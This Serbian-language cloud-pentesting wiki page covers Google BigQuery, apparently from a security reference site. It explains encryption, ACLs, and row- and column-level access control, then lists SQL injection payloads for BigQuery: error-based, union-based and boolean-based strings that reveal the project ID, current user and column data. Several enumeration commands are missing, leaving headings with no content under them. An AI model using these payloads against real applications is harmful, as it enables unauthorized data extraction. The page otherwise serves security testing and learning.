GCP - Bigquery Enum
Osnovne Informacije
Google Cloud BigQuery je potpuno upravljano, serverless skladište podataka za preduzeća, koje nudi mogućnosti za analizu petabajta podataka, čime efikasno upravlja velikim skupovima podataka. Kao Platforma kao Servis (PaaS), pruža korisnicima infrastrukturu i alate za olakšano upravljanje podacima bez potrebe za ručnim nadzorom.
Podržava upite korišćenjem ANSI SQL-a. Glavni objekti su skupovi podataka koji sadrže tabele koje sadrže SQL podatke.
Enkripcija
Podrazumevano se koristi Google-ov upravljani ključ za enkripciju, iako je moguće konfigurisati Ključ za enkripciju upravljan od strane korisnika (CMEK). Moguće je naznačiti ključ za enkripciju po skupu podataka i po tabeli unutar skupa podataka.
Isticanje
Moguće je naznačiti vreme isticanja u skupu podataka tako da će svaka nova tabela kreirana u ovom skupu podataka biti automatski obrisana određeni broj dana nakon kreiranja.
Spoljni Izvori
Bigquery je duboko integrisan sa drugim Google uslugama. Moguće je učitati podatke iz kanti, pub/sub, google drajva, RDS baza podataka...
ACL-ovi Skupa Podataka
Kada se kreira skup podataka, ACL-ovi se pridružuju kako bi se omogućio pristup. Podrazumevano se daju Vlasničke privilegije nad korisnikom koji je kreirao skup podataka, a zatim Vlasnik grupi projectOwners (Vlasnici projekta), Pisac grupi projectWriters, i Čitač grupi projectReaders:
Kontrola pristupa redovima tabele
Moguće je kontrolisati redove na koje će subjekat imati pristup unutar tabele pomoću politika pristupa redovima. One se definišu unutar tabele korišćenjem DDL. Politika pristupa definiše filter i samo odgovarajući redovi sa tim filterom će biti pristupačni naznačenim subjektima.
Kontrola pristupa kolonama
Da biste ograničili pristup podacima na nivou kolone:
Definišite taksonomiju i oznake politike. Kreirajte i upravljajte taksonomijom i oznakama politike za vaše podatke. https://console.cloud.google.com/bigquery/policy-tags
Opciono: Dodelite ulogu Čitača sa finim granulama kataloga podataka jednom ili više principala na jednoj ili više oznaka politike koje ste kreirali.
Dodelite oznake politike vašim BigQuery kolonama. U BigQuery-u, koristite beleške šeme da biste dodelili oznaku politike svakoj koloni za koju želite da ograničite pristup.
Sprovodite kontrolu pristupa na taksonomiji. Sprovođenje kontrole pristupa uzrokuje primenu definisanih restrikcija pristupa za sve oznake politike u taksonomiji.
Upravljajte pristupom na oznakama politike. Koristite Upravljanje identitetom i pristupom (IAM) politike da biste ograničili pristup svakoj oznaci politike. Politika je na snazi za svaku kolonu koja pripada oznaci politike.
Kada korisnik pokuša da pristupi podacima kolone tokom upita, BigQuery proverava oznaku politike kolone i njenu politiku da vidi da li je korisnik ovlašćen za pristup podacima.
Kao rezime, da biste ograničili pristup nekim kolonama za određene korisnike, možete dodati oznaku koloni u šemi i ograničiti pristup korisnika oznaci sprovođenjem kontrole pristupa na taksonomiji oznake.
Za sprovođenje kontrole pristupa na taksonomiji potrebno je omogućiti uslugu:
Moguće je videti oznake kolona sa:
Nabrojavanje
BigQuery SQL Injection
Za dodatne informacije možete pogledati blog post: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ovde će biti navedeni samo neki detalji.
Komentari:
select 1#from here it is not working
select 1/*between those it is not working*/
Ali samo početni neće raditiselect 1--from here it is not working
Dobijanje informacija o okruženju kao što su:
Trenutni korisnik:
select session_user()
Id projekta:
select @@project_id
Spajanje redova:
Sva imena tabela:
string_agg(table_name, ', ')
Dobijanje skupova podataka, tabela i imena kolona:
Ime projekta i skupa podataka:
Imena kolona i tabela svih tabela skupa podataka:
Ostali skupovi podataka u istom projektu:
Tipovi SQL Injection-a:
Baziran na grešci - kastovanje:
select CAST(@@project_id AS INT64)
Baziran na grešci - deljenje sa nulom:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Unija bazirana (potrebno je koristiti ALL u bigquery-u):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Baziran na boolean vrednosti:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Potencijalno baziran na vremenu - Primer korišćenja javnih skupova podataka:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Dokumentacija:
Skriptne naredbe: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Eskalacija privilegija i post eksploatacija
GCP - BigQuery PrivescUpornost
GCP - BigQuery PersistenceReference
Last updated